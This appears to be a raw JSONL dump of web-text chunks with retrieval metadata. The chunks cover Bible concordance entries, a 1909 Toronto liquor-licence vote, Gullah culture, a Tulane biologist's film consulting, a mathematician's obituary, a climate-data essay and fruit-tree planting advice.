19 : 16 he who keeps the law keeps his soul ; but death will be the fate of him who takes no note of the word. ( bbe ) proverbs 21 : 12 the upright one, looking on the house of the evil - doer, lets sinners be overturned to their destruction. ( see niv ) proverbs 23 : 1 when you take your seat at the feast with a ruler, give thought with care to what is before you ; ( see niv ) proverbs 31 : 23 her husband is a man of note in the public place, when he takes his seat among the responsible men of the land. ( bbe ) ecclesiastes 7 : 5 it is better to take note of the protest of the wise, than for a man to give ear to the song of the foolish. ( bbe ) ecclesiastes 12 : 12 and further, my son, take note of this : of the making of books there is no end, and much learning is a weariness to the flesh. ( bbe ) isaiah 30 : 8 now go, write it before them in a table, and note it in a book, that it may be for the time to come for ever and ever : ( kjv wbs ) isaiah 34 : 1 come near, you nations, and give ear ; take note, you peoples : let the earth and everything in it give ear ; the world and all those living in it. ( bbe ) isaiah 37 : 17 let your ear be turned to us, o lord ; let your eyes be open, o lord, and see : take note of all the words of sennacherib who has sent men to say evil against the living god. ( bbe ) isaiah 43 : 19 see, i am doing a new thing ; now it is starting ; will you not take note of it? i will even make a way in the waste land, and rivers in the dry country. ( bbe ) continued... note ( 129 occurrences )... 12. ( n. ) a written or printed paper", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4468537263344439, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.878821"} {"text": "take note of it? i will even make a way in the waste land, and rivers in the dry country. ( bbe ) continued... note ( 129 occurrences )... 12. ( n. ) a written or printed paper acknowledging a debt, and promising payment ; as, a promissory note ; a note of hand ; a negotiable note. 13.... biblethesaurus. com / n / note. htm - 37k turn ( 963 occurrences )... 37. ( n. ) monthly courses ; menses. 38. ( n. ) an embellishment or grace ( marked thus, / ), commonly consisting of the principal note, or that on which the turn is... biblethesaurus. com / t / turn. htm - 41k point ( 106 occurrences )... 14. ( n. ) a dot or mark distinguishing or characterizing certain tones or styles ; as, points of perfection, of augmentation, etc. ; hence, a note ; a tune. 15.... biblethesaurus. com / p / point. htm - 40k wood ( 226 occurrences )... matthew 7 : 3 and why do you take note of the grain of dust in your brother ' s eye, but take no note of the bit of wood which is in your eye? ( bbe ).... biblethesaurus. com / w / wood. htm - 42k dust ( 182 occurrences )... matthew 7 : 3 and why do you take note of the grain of dust in your brother ' s eye, but take no note of the bit of wood which is in your eye? ( bbe niv ).... biblethesaurus. com / d / dust. htm - 43k wealthy ( 22 occurrences )... poor, and cursed are the rich \" finds no countenance in the scriptures, for luke 6 : 20, 24 refers to concrete conditions ( disciples and persecutors ; note the \" ye... biblethesaurus. com / w / wealthy. htm - 17k wealth ( 340 occurrences )... poor, and cursed are the rich \" finds no countenance in the scriptures, for luke 6 : 20, 24 refers to concrete conditions ( disciples and persecutors ; note the \" ye... biblethesaurus. com / w / wealth. htm - 40k turtledove", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.528283670691055, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 11, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.881358"} {"text": ". sugkoinoneo - - to have fellowship with... 4790 ( from 4862, \" identified \" and 2841, \" share in \" ) - - properly, share by partaking ; to participate because with someone ( ie \" deeply, \" note the ).... / / strongsnumbers. com / greek2 / 4790. htm - 7k 587. apodektos - - acceptable 7559. rasham - - to inscribe, note... 587 ( ) looks back to the that prompts the glad receiving ( note the prefix, ). for the believer, this is god himself ( his grace ). see 588 ( ).... / / strongsnumbers. com / greek2 / 587. htm - 7k... rasham. 7560 > >. to inscribe, note. transliteration : rasham phonetic spelling : ( raw - sham ' ) short definition : inscribed.... note. a primitive root ; to record - - note... / / strongsnumbers. com / hebrew2 / 7559. htm - 5k 2710. chaqaq - - to cut in, inscribe, decree... appoint, decree, governor, grave, lawgiver, note, portray, print,. a primitive root ; properly, to hack, ie engrave ( judges 5 : 14, to... / / strongsnumbers. com / hebrew2 / 2710. htm - 6k 3045. yada - - to know... 5 ), recognize ( 2 ), recognized ( 1 ), regard ( 1 ), satisfied * ( 1 ), seems ( 1 ), show ( 3 ), shown ( 1 ), skillful ( 3 ), sure ( 1 ), take knowledge ( 1 ), take note ( 1 ), take... / / strongsnumbers. com / hebrew2 / 3045. htm - 8k 6969. qonen - - to chant an elegy or dirge... lament, mourning woman. a primitive root ; to strike a musical note, ie chant or wail ( at a funeral ) - - lament, mourning woman. < < 6968, 6969. qonen. 6970 > >.... / / strongsnumbers. com / hebrew2", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5517490448573994, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 14, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.885874"} {"text": "chant or wail ( at a funeral ) - - lament, mourning woman. < < 6968, 6969. qonen. 6970 > >.... / / strongsnumbers. com / hebrew2 / 6969. htm - 6k 8104. shamar - - to keep, watch, preserve... 1 ), regard ( 3 ), regards ( 2 ), remains ( 1 ), reserved ( 1 ), secured ( 1 ), sentries ( 1 ), spare ( 1 ), spies ( 1 ), take care ( 1 ), take heed ( 5 ), take note ( 1 ), take... / / strongsnumbers. com / hebrew2 / 8104. htm - 7k 2689. chatsotsrah - - ( an ancient ) trumpet... trumpeter. by reduplication from chatsar ; a trumpet ( from its sundered or quavering note ) - - trumpet ( - er ). see hebrew chatsar. < < 2688, 2689. chatsotsrah. 2690... / / strongsnumbers. com / hebrew2 / 2689. htm - 6k 6485. paqad - - to attend to, visit, muster, appoint... 1 ), sought ( 1 ), suffer ( 1 ), summoned ( 1 ), supervisors ( 1 ), surely take care ( 3 ), take care ( 1 ), take notice ( 1 ), took a census ( 1 ), took note ( 1 ), untouched * ( 1... / / strongsnumbers. com / hebrew2 / 6485. htm - 7k 5234. nakar - - to regard, recognize... partial * ( 1 ), partiality * ( 3 ), perceived ( 1 ), point ( 1 ), recognize ( 7 ), recognized ( 8 ), regard ( 1 ), regards ( 2 ), show ( 3 ), take notice ( 1 ), took note ( 1 ), took... / / strongsnumbers. com / hebrew2 / 5234. htm - 6k... note. papyrus br. mus. cclx. is a poll - tax register of ad. 72 - 3, based on the household - enrollment of 61 - 2 ; and references to older... / / christianbookshelf. org", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.46185913391289757, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 15, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.896116"} {"text": ". papyrus br. mus. cclx. is a poll - tax register of ad. 72 - 3, based on the household - enrollment of 61 - 2 ; and references to older... / / christianbookshelf. org / ramsay / was christ born in bethlehem / note. htm... dionysius the areopagite, on divine names. note. ignatius. \" my love is crucified. \". upon this passage i differ from all the commentators that i know.... / / christianbookshelf. org / dionysius / dionysis on divine names / note. htm... note. there is a passage in an old writer which throws so much light on some points mentioned in this paper, that i make no excuse... /... / ryle / the upper room being a few truths for the times / note. htm... book iv. note. [ on p. 43 supra i omitted to direct attention to the desirable enlargement of note 3 by a reference to homer ' s hymn... / / christianbookshelf. org / hippolytus / the refutation of all heresies / note. htm... hymns. book 3. prepared for the lord ' s supper. note. i cannot persuade myself to put a full period to these divine hymns, till i... / / christianbookshelf. org / watts / hymns and spiritual songs / note. htm... note. in the difficult task of translating the de fide orthodoxa \" a task made the more difficult at times by the condition of the... / / christianbookshelf. org / john / exposition of the orthodox faith / note. htm... note 1. professor blass in his welcome book, philology of the gospels, 1898... and therefore conform to our rule. note 2. in the acts of paul... / / christianbookshelf. org / ramsay / was christ born in bethlehem / note 1. htm... fragments from his five books of commentaries on the acts of the church. note. it may be worth while to state here, that i have...... note 1. the fifteenth year of tiberius. there are various ways of counting the years... than on other systems. note 2. it is unfortunate that... / / christianbookshelf. org / ramsay", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4455105091842755, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 16, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.934351"} {"text": "every saturday morning historicist looks back at the events, places, and characters \u2014 good and bad \u2014 that have shaped toronto into the city we know today. advertisement, the toronto world, january 1, 1909 how do you ring in the new year? a glass of champagne at a party? a round of drinks at a bar? a century ago, torontonians were faced with a vote on how many places in the city they could enjoy a drink at on new year \u2019 s or any other day of the year. a question on the january 1, 1909, municipal ballot asked citizens if they would support a new bylaw that would cut the number of licensed venues in the city from 150 to 110 in the name of preserving the health and morals of the city. but first, a word from our sponsors \u2026 advertisement, daily mail and empire, january 1, 1909 temperance forces, led by local ministers and the women \u2019 s christian temperance union, had lobbied to reduce the number of licensed venues in the city for several years. a bylaw almost came into effect in 1908, until courts killed it on a technicality. proponents of the new ballot question, backed by most of the city \u2019 s conservative - leaning papers, felt the fewer opportunities for men to fall to temptation, the better. as the evening telegram outlined in its pre - election editorial, \u201c license reduction will deprive at least 40 bar - rooms of their present power to form the habits of men and boys who drink when opportunity tempts them, because they cannot walk the streets without being waylaid by the attractions of the bar - room. \u201d lined up behind the anti - reductionists were the liberal - leaning papers, especially the globe and the world. in its new year \u2019 s eve editorial, the globe felt that the issue could be settled by not burdening saloons with the need to provide accommodations because barrooms should be totally separated from the hotel business. the world was troubled by the lack of any compensation for the forty unlucky license holders once their livelihood was removed from them. other anti - reductionists argued that the growing city deserved an appropriate percentage of bars and that cutting the number of bars would cut into the city \u2019 s growing convention trade and its thirsty clientele used to other locales where alcohol flowed more freely. children were tossed into the fray when a parade of sunday school students was used to promote the reductionist cause. youngsters carried banners that bore slogans like \u201c the barrel or the boy? \u201d and \u201c don \u2019 t kill toronto. \u201d", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4067355988773156, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.037767"} {"text": "freely. children were tossed into the fray when a parade of sunday school students was used to promote the reductionist cause. youngsters carried banners that bore slogans like \u201c the barrel or the boy? \u201d and \u201c don \u2019 t kill toronto. \u201d exploitation of children for political gain did not seem to bother the reductionists. the battle reached its peak two days before the election. anti - reductionists held a standing - room - only meeting at massey hall on december 30 that included speakers from both sides of the issue. the crowd waiting to get in was so thick that an overflow meeting was held at another venue. what went down at massey hall that evening was described by the news as \u2026 [ t ] he biggest and worst meeting in the memory of toronto. for over an hour the meeting was in the hands of the seething mass of humanity which packed the great building to its doors. the throng, almost evenly divided on the question as issue, refused to hear the speakers. they hissed, they booed, they groaned and on one occasion broke into riotous song. trouble began during a speech by j. h. kennedy, president of the trades and labor council, who based his opposition on the number of jobs that would be lost if reduction passed ( \u201c we trade unionists believe that license reduction will injure both the commercial and industrial progress of the city. \u201d ), an increased crime rate as observed in \u201c dry \u201d locales like owen sound, and a fear that illegal bars serving poisonous homemade hooch would arise. as kennedy spoke, pro - reduction city controller f. s. spence strolled onto the platform and was feted with a loud ovation. kennedy attempted to resume his speech but cries of \u201c oh! oh! \u201d and \u201c mister spence! \u201d rang throughout the hall, while spence \u2019 s female supporters muffs, handkerchiefs and any other easily accessible pieces of apparel. kennedy tried to dampen the spirits of his opponents by noting \u201c i didn \u2019 t know that our temperance friends were such a gang of disturbers. you \u2019 re going to make hundreds and thousands of votes for us. \u201d as jeering increased, meeting chair a. r. boswell tried to restore order, indicating to the reductionists in the audience that \u201c as much time as you have cut off our speakers, we \u2019 ll have to cut off your friend spence. \u201d the next speaker, anti - reductionist lawyer james haverson, tried to assert calm by noting both sides had the right to speak, though he noted, \u201c i", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.46650999437694585, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.042362"} {"text": "cut off our speakers, we \u2019 ll have to cut off your friend spence. \u201d the next speaker, anti - reductionist lawyer james haverson, tried to assert calm by noting both sides had the right to speak, though he noted, \u201c i doubt whether it \u2019 s well in one building to have half the people thinking one way and the other half thinking the other. in theory it \u2019 s good, but in practice it seems to be bad. \u201d the jeers continued. when spence \u2019 s turn to speak arrived, the anti - reductionist half went into jeering mode. spence failed at several attempts to present his issue, while the speaker set to follow him, anti - reductionist lawyer a. w. wright, stormed off the platform. boswell tried in vain to re - establish order, asking the audience to \u201c behave like decent citizens. i don \u2019 t think it \u2019 s fair that this meeting should be broken up. it \u2019 s a great meeting. \u201d massey hall building manager stewart houston rushed to the stage to echo boswell \u2019 s pleas for calm, which were effective until spence attempted to carry on. by this point, much of the crowd had had enough and rushed to the exits ( some of which were blocked ) or threw paper from the galleries. wright made a brief return and indicated that in the name of fairness, he would not speak until spence was allowed to finish. when the crowd continued to be rowdy, an exasperated boswell asked if there were any police in the audience who could step up to keep order. calm never quite returned and the meeting broke up an hour earlier than anticipated. many of the anti - reductionist speakers made their way to the overflow meeting, where the main disruption was an acknowledgement that devout temperance activist carrie nation may have been in the audience. advertisement, the news, december 31, 1908 election day saw both sides of the issue encouraging their supporters to get to the polls despite cold weather. the mail and empire observed that : [ t ] hroughout the day numbers of carriages and automobiles were to be seen moving about the streets. they were not the conveyances of new year \u2019 s callers, for the most part, but the vehicles chartered by rival interests to carry their partisans to the polls. the fact that the by - law to reduce the number of liquor licenses was before the electorate, induced a large number of ladies to exercise the franchise on one side or the other. that evening, crowds gathered outside all of the downtown newspaper offices to watch displays of the results", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4664674642169673, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.050082"} {"text": "by - law to reduce the number of liquor licenses was before the electorate, induced a large number of ladies to exercise the franchise on one side or the other. that evening, crowds gathered outside all of the downtown newspaper offices to watch displays of the results on election night. mayor joseph oliver won reelection with three times as many votes as his nearest competitor, while temperance forces ensured that pro - reduction candidates won most of the council seats, though spence lost his position on the board of control due to his involvement in a scandal over the building of new electrical power sources. many reduction supporters gathered in the long - gone cooke \u2019 s presbyterian church on queen street to watch the vote on their pet issue. the mail and empire, who determined that \u201c the fight was a clean one on both sides, \u201d provided extensive coverage of that gathering. the crowd was initially upset when the early downtown results showed support for keeping the bars open, but cheers grew as the outer wards voted in favour of reduction, which eventually carried by just under twelve hundred votes. the chairman of what became the victory party remarked that \u201c the moment the border line was crossed between the non - english - speaking citizens and the enlightened canadians who had the benefit of education along higher moral lines, then the returns showed a striking divergence. \u201d the \u201c enlightened canadians \u201d of the temperance movement built on the momentum of their victory and pressed for further restrictions on alcohol over the next decade until the entire province enacted prohibition in 1916. the decade - long attempt to ban booze proved a failure, with a slow loosening of restrictions underway by the mid - 1920s. the sway of groups like the wctu faded away and torontonians gradually relaxed and enjoyed their drinks without the constant threat of a moral guilt trip. source materials : editions of the evening telegram, the globe, the mail and empire, the news and the world published between december 31, 1908 and january 2, 1909. pro - reduction advertisement from the january 1, 1909 edition of the globe.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.41755058695001157, "token_count": 403, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.051003"} {"text": "in the low country, gullah refers to several things : language, people, and a culture. though not all speak it, most locally - born african - americans in the area understand gullah. more than 300 years old, this rhythmic language has survived, in part, because of the geographic isolation of the people who speak it. gullah ( the word itself is believed to be a version of angola ), an english - based dialect rooted in african languages, is the unique language of the african - americans of the sea islands of south carolina and georgia. descended from thousands of slaves who were imported by planters in the carolinas during the 18th century, the gullah people have maintained not only their dialect but also their heritage. much of gullah culture traces back to the african rice coast culture and survives today in the art forms and skills, including sweet - grass basket making, of sea islanders. during the colonial period, when rice was king, africans from the west african rice kingdoms drew high premiums as slaves. those with basket - making skills were extremely valuable because baskets were needed for agricultural and household use. still made by hand, sweet - grass baskets are intricate coils of a marsh grass called sweet grass. highly prized by residents and visitors alike, the baskets are named for the sweet, haylike aroma of the sweet grass. other gullah art forms can be seen in hand - carved bateaus and gourds and in hand - tied nets used to catch shrimp in local creeks and rivers. nowhere is gullah culture more evident than in the foods of the region. rice, of course, appears at nearly every meal. africans taught planters how to grow rice and how to cook and serve it as well. like many african dishes, low country dishes use okra, peanuts, benne ( the african word for sesame seeds ), field peas, and hot peppers. gullah food reflects the bounty of the islands : shrimp, crabs, oysters, fish, and vegetables such as greens, tomatoes, and corn. watermelons, indigenous to west africa, are grown all over the low country. many dishes are prepared in one pot, similar to the stew - pot cooking of west africa. frogmore stew calls for cooking shrimp, potatoes, sausage, and corn together in one large pot. hoppin ' john - - a one - pot mixture of rice and field peas traditionally served on new year ' s day - - is similar to rice and pigeon peas, a mainstay in west africa. the practices of plantation", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4762436090132003, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.132962"} {"text": "one large pot. hoppin ' john - - a one - pot mixture of rice and field peas traditionally served on new year ' s day - - is similar to rice and pigeon peas, a mainstay in west africa. the practices of plantation owners unknowingly helped the gullah culture survive : from praise houses - - one - room houses of worship where christianity was introduced to keep slaves from running away - - came plantation melodies. these songs live on in performances by groups including the hallelujah singers, sea island singers, mt. zion spiritual singers, and ron and natalie daise, all of whom perform regularly in charleston and beaufort. the penn center on st. helena island near beaufort is the unofficial gullah headquarters, preserving the culture and developing opportunities for gullahs. until 1927 or so, st. helena felt little influence from the outside world. blacks retained the land, their language, and their unique culture. many still go shrimping with hand - tied nets, harvest oysters, and grow their own vegetables. nearby on daufuskie island, as well as on edisto, wadmalaw and johns islands near charleston, gullah communities can still be found, though development continues to encroach. a famous gullah proverb says : if oonuh ent kno weh oonuh dah gwine, oonuh should kno weh oonuh come f ' um. translation : if you don ' t know where you ' re going, you should know where you come from.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4423958915238853, "token_count": 315, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.133989"} {"text": "july 28, 2011 5 : 45 am what does a dead space alien really look like? when the green lantern movie crew, filming in new orleans, needed to know if their special - effects creations were believable, they turned to tulane biologist and longtime science fiction fan bruce fleury for advice. \u201c the movie \u2019 s prop people first contacted me to find out what books a space - struck kid would have been reading in the \u2019 60s, \u201d says fleury, a professor of practice of ecology and evolutionary biology. \u201c when they walked into my office and saw my books about outer space and life on other planets, they said, \u2018 we \u2019 ve found the person we were looking for. \u2019 \u201d after meeting with director martin campbell, fleury was pulled deeper into the moviemaking process and was dubbed the crew \u2019 s \u201c xenobiologist, \u201d or expert on alien life - forms. fleury critiqued the model of the dead alien who transferred his powers to the film \u2019 s lead character, hal jordan. \u201c i had to view his body while it was still headless and handless, just coming out of the prop room. the question was, does this look alien enough? yes \u2014 even without a head it looked pretty alien! \u201d says fleury. numerous tulane people contributed props and expertise to the movie, says fleury, including the alien autopsy and lab scenes. \u201c i worked with actor peter sarsgaard to develop his character, hector hammond, a mad scientist, \u201d says fleury. villain hammond started out mildly enough as a biology teacher at fictional coast city college. the moviemakers decided to make some changes after meeting with fleury, a real - life biology professor. \u201c they hooked me up with peter, and i had a couple of sessions one - on - one with him, \u201d says fleury. \u201c he morphed into a microbiologist, and the lecture that he gave is word for word from a lecture that i give on \u201c evolution in human health and disease, \u201d a course i teach. \u201c i gave him some of my best lines! \u201d tulane university, new orleans, la 70118 504 - 865 - 5000 firstname. lastname @ example. org", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.48606113443345794, "token_count": 459, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.140266"} {"text": "his death was announced last week by yale university, where he was a professor of mathematics. working with james w. cogdell, his main collaborator over a quarter - century, starting in the mid - 1970s, dr. piatetski - shapiro shaped a proof of what is known as the converse theorem, which finds some deep relationships between different fields of mathematics. the mathematical constructs are \" quite mysterious, even to mathematicians, \" dr. cogdell explained in an interview this week. but the theorem has wide applications, including playing a small but important role in the proof of fermat ' s last theorem that andrew wiles, a princeton mathematician, completed in 1994. \" it ' s a very powerful tool, \" said peter c. sarnak, a professor of mathematics at princeton. \" he made sure it ' s in a form everyone can use it. \" born in moscow, ilya piatetski - shapiro became interested in mathematics when he was 10. in a memoir, he said that when he learned about negative numbers from his father, a chemical engineer, he was struck \" by the charm and unusual beauty \" of the concept. after completing his undergraduate degree in 1951 at moscow university, he wanted to continue there for his graduate studies. despite the strong recommendation of alexander o. gelfond, a prominent mathematician and member of the communist party, the application was rejected. \" that was a time of great anti - semitism, \" said dr. piatetski - shapiro ' s son, gregory. through gelfond ' s efforts, he was admitted to the moscow pedagogical institute. but in 1952, he received a letter from government officials ordering him to go to kazakhstan to teach high school. his parents, fearing that he might be sent to stalin ' s labor camps if he refused, told him to go, but he decided not to. after about a year, another letter informed him he did not have to report for the teaching assignment. during this time, he produced a proof that asserts that certain sequences of integers defined through the power function contain an infinite number of prime numbers. \" it was rather unexpected, \" dr. sarnak said. dr. piatetski - shapiro received his doctorate in 1954. dr. piatetski - shapiro also attended seminars at the steklov mathematical institute in moscow, where prof. igor shafarevich influenced his interests toward modern number theory and algebraic geometry. in 1958, he became a professor of mathematics at the moscow institute of applied mathematics, and", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5342820194891271, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.147555"} {"text": "shapiro also attended seminars at the steklov mathematical institute in moscow, where prof. igor shafarevich influenced his interests toward modern number theory and algebraic geometry. in 1958, he became a professor of mathematics at the moscow institute of applied mathematics, and in 1965, he gained an additional professorship at moscow state university. except for a short trip to hungary, dr. piatetski - shapiro was not allowed to leave the soviet union. the authorities told him that he would be free to travel if he joined the communist party. he responded that party membership would distract him from his work. he lost his job at the institute of applied mathematics, and even his access to mathematical libraries when he signed a petition in support of a dissident colleague. in the early 1970s, the soviet union let more jews emigrate to israel, including dr. piatetski - shapiro ' s first wife, inna, whom he had divorced, and his son. in 1974, he also applied for an exit visa, but was denied. in 1976, dr. piatetski - shapiro finally received an exit visa. that broke up his second marriage, as his wife remained in moscow. starting in 1977, he divided his time as a professor between tel aviv university and yale. when dr. cogdell was a graduate student at yale, dr. piatetski - shapiro became his thesis adviser. as part of the oral examination, dr. piatetski - shapiro assigned him some assertions to prove. dr. cogdell, now a professor at ohio state, recalled that he thought he had found the solutions. \" then i realized there was a mistake, \" dr. cogdell said. \" his response was, ' very good. ' then i said, ' i know how to fix it, ' and he said, ' even better. ' \" dr. piatetski - shapiro is survived by his wife, edith piatetski - shapiro, who lives in new haven and tel aviv ; his son, gregory, of brookline, mass. ; a daughter, shelly shapiro of new york city ; a stepdaughter, niki lipkin of tel aviv ; and two grandsons. as the parkinson ' s worsened, dr. piatetski - shapiro relied on others to record notes and he had more trouble talking. in 1992, he decided to stop traveling, but a year or two later, he changed his mind. \" he missed all of the contact and finally decided he wouldn ' t feel better if he traveled or not", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.48146797719497125, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.149921"} {"text": "notes and he had more trouble talking. in 1992, he decided to stop traveling, but a year or two later, he changed his mind. \" he missed all of the contact and finally decided he wouldn ' t feel better if he traveled or not, \" dr. cogdell said. his third wife, edith, a mathematician he had met in israel, and others helped him walk. his speech fell to a whisper and often he could not talk at all. for a number of years, when dr. piatetski - shapiro was in a good state, he would phone dr. cogdell, and it would be a three - way conversation with edith repeating dr. piatetski - shapiro ' s words to dr. cogdell and then handing the phone to dr. piatetski - shapiro as dr. cogdell replied. one of the highest honors in mathematics is to be invited to lecture at the international congress of mathematics, held only once every four years, and dr. piatetski - shapiro was invited to speak four times, in 1962, 1966, 1978 and 2002, when he was in his 70s and still \" knocking off well - known, longstanding problems, \" said dr. sarnak, the professor at princeton. dr. piatetski - shapiro was able to deliver the lecture in person twice - - in 1966 in moscow, and in 1978, after he had immigrated to israel. for the first invitation, the soviet union did not allow him to leave the country and a colleague delivered his speech for him ; the last time, he was too tired to attend, and the address was delivered by dr. cogdell. by kenneth chang published : march 4, 2009 \u00a9 new york times", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5025223401249368, "token_count": 350, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.151336"} {"text": "today, a global warming progress report. the university of houston ' s college of engineering presents this series about the machines that make our civilization run, and the people whose ingenuity created them. when i face questions about global warming, it ' s usually a struggle to point out that the problem must be kept in the scientific domain and out of politics. any of us can fall into the trap of naming whatever political figure we like least, and taking the position opposite to his or hers. with that in mind, let ' s look a a helpful summary article in this week ' s science magazine. it ' s by a group of climate experts from nasa, the scripps institute, and institutes in germany, australia, and france. what they ' ve done is straightforward. first, they graph the increase of co2 concentration, temperature, and sea level, since 1975. each increases a bit more strongly than a simple linear rise. maybe they ' re rising exponentially, maybe not. the changes might not seem extreme. in thirty years, co2 concentrations are up fifteen percent, earth ' s temperature has risen just under a degree fahrenheit, and sea level has risen three inches. the authors also display the most important predictions made back in 1990. it turns out that co2 concentration has risen pretty much exactly as it was predicted. global temperature has risen in accordance with the worst case predictions. and sea level is up 25 percent beyond the worst case predicted. while some other doomsday predictions were far too high, the climate ones were not. so climatologists in 1990 were not chicken little, telling us the sky was falling. none of them overestimated what was happening. in fact, it ' d be easy to look at this and let ourselves become chicken little. one could curve - fit an exponential extrapolation to the data. but extrapolation is no more trustworthy than blindly opposing the we need good analytical predictions. they, in turn, must be built upon a thorough knowledge of weather, chemistry, fluid mechanics, and global economics. the 1990 predictions were pretty good, although somewhat conservative. predictions are better now. to gain just an inkling of the complexity, let ' s look again at rising sea levels. the overall rise reflects the ice - cap melting that we ' re all seeing ( although part of the rise comes from thermal expansion of warming oceans ). but that net value is an average of larger local sea level variations. the tectonic plates, upon which we live, rise and", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5424748689470222, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.157699"} {"text": "cap melting that we ' re all seeing ( although part of the rise comes from thermal expansion of warming oceans ). but that net value is an average of larger local sea level variations. the tectonic plates, upon which we live, rise and fall relative to one another. since louisiana and texas are dropping, we see the sea level rising sharply. but alaska is rising, so alaskans see their sea level dropping. new orleans might go under while anchorage remains dry, or rising sea levels might catch up with tectonic subsidence and flood both. in any case, we are faced with climate change and it ' s hard to doubt that we play a significant role in that change. nor can one reasonably doubt the importance of reducing consumption, waste, and emissions, while we look for better information - - while we focus, not on the people we like or dislike, but on the data. i ' m john lienhard, at the university of houston, where we ' re interested in the way inventive minds s. rhamstorf, a. cazenave, j. a. church, j. e. hansen, r. f. keeling, d. e. parker, r. c. j. somerville, recent climate observations compared to projections. science, vol. 316, 4 may, 2007, pg. 709. to see the data, for more on sea level variation, see : and i find this a useful statement from j. e. hansen at nasa : is this relevant? only hard data can tell us. ( photo by jhl ) the engines of our ingenuity is copyright \u00a9 1988 - 2006 by john h.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4651464331092354, "token_count": 341, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.159685"} {"text": "planting and early care of fruit trees prepared by james r. schupp, extension tree fruit specialist, university of maine cooperative extension fruit trees can be an attractive and useful addition to the home landscape. this fact sheet will help you to establish new fruit trees that will provide you with beauty and fruit for years to come. when to plant fruit trees may be planted in early spring, as soon as the frost in the ground has thawed. if the soil is very waterlogged, it is best to wait until it drains. wait until the soil no longer comes up in sticky clumps that stick to the shovel. the climate of new england is too cold for fall planting of fruit trees. fall - planted trees will not have any advantage in growth over trees planted the following spring. fall - planted trees may also be damaged in the winter months by rodents, deer or severe low temperatures. bare - root nursery stock is usually less expensive and will establish and grow well, if planted in april or early may. if you must hold the trees a short time before planting, store them in a cool, shady place where they will be out of the sun and wind. pack the roots in moist sawdust or sphagnum moss to prevent them from drying out. potted or ball - and - burlap trees are preferable for planting dates in late may or early june. digging the hole select a site with direct sunlight. allow enough room between the planting site and buildings, trees, power lines or other obstructions for the tree to fill its space when full grown. tree size varies with different species and the rootstock that the tree is on. the nursery where you bought the tree can advise you as to how much space the tree will need when full grown. fruit trees are tolerant of a fairly wide range of soil types, but the soil should be well - drained, with a minimum of 18 inches of soil above any ledge or hardpan. start by cutting through the sod in a circle that is about a foot wider than the diameter of the root ball. roll the sod out of the hole and discard it or use it to cover a place where you want grass. then dig a hole wide enough to allow the root system to fit without roots wrapping around the edge of the hole in a circle. dig the hole deep enough to allow the tree to be planted with the graft union two to three inches above ground. this planting depth is critical for trees on dwarf or semi - dwarf rootstocks. if the tree is", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.37294070595111384, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.172173"} {"text": "hole in a circle. dig the hole deep enough to allow the tree to be planted with the graft union two to three inches above ground. this planting depth is critical for trees 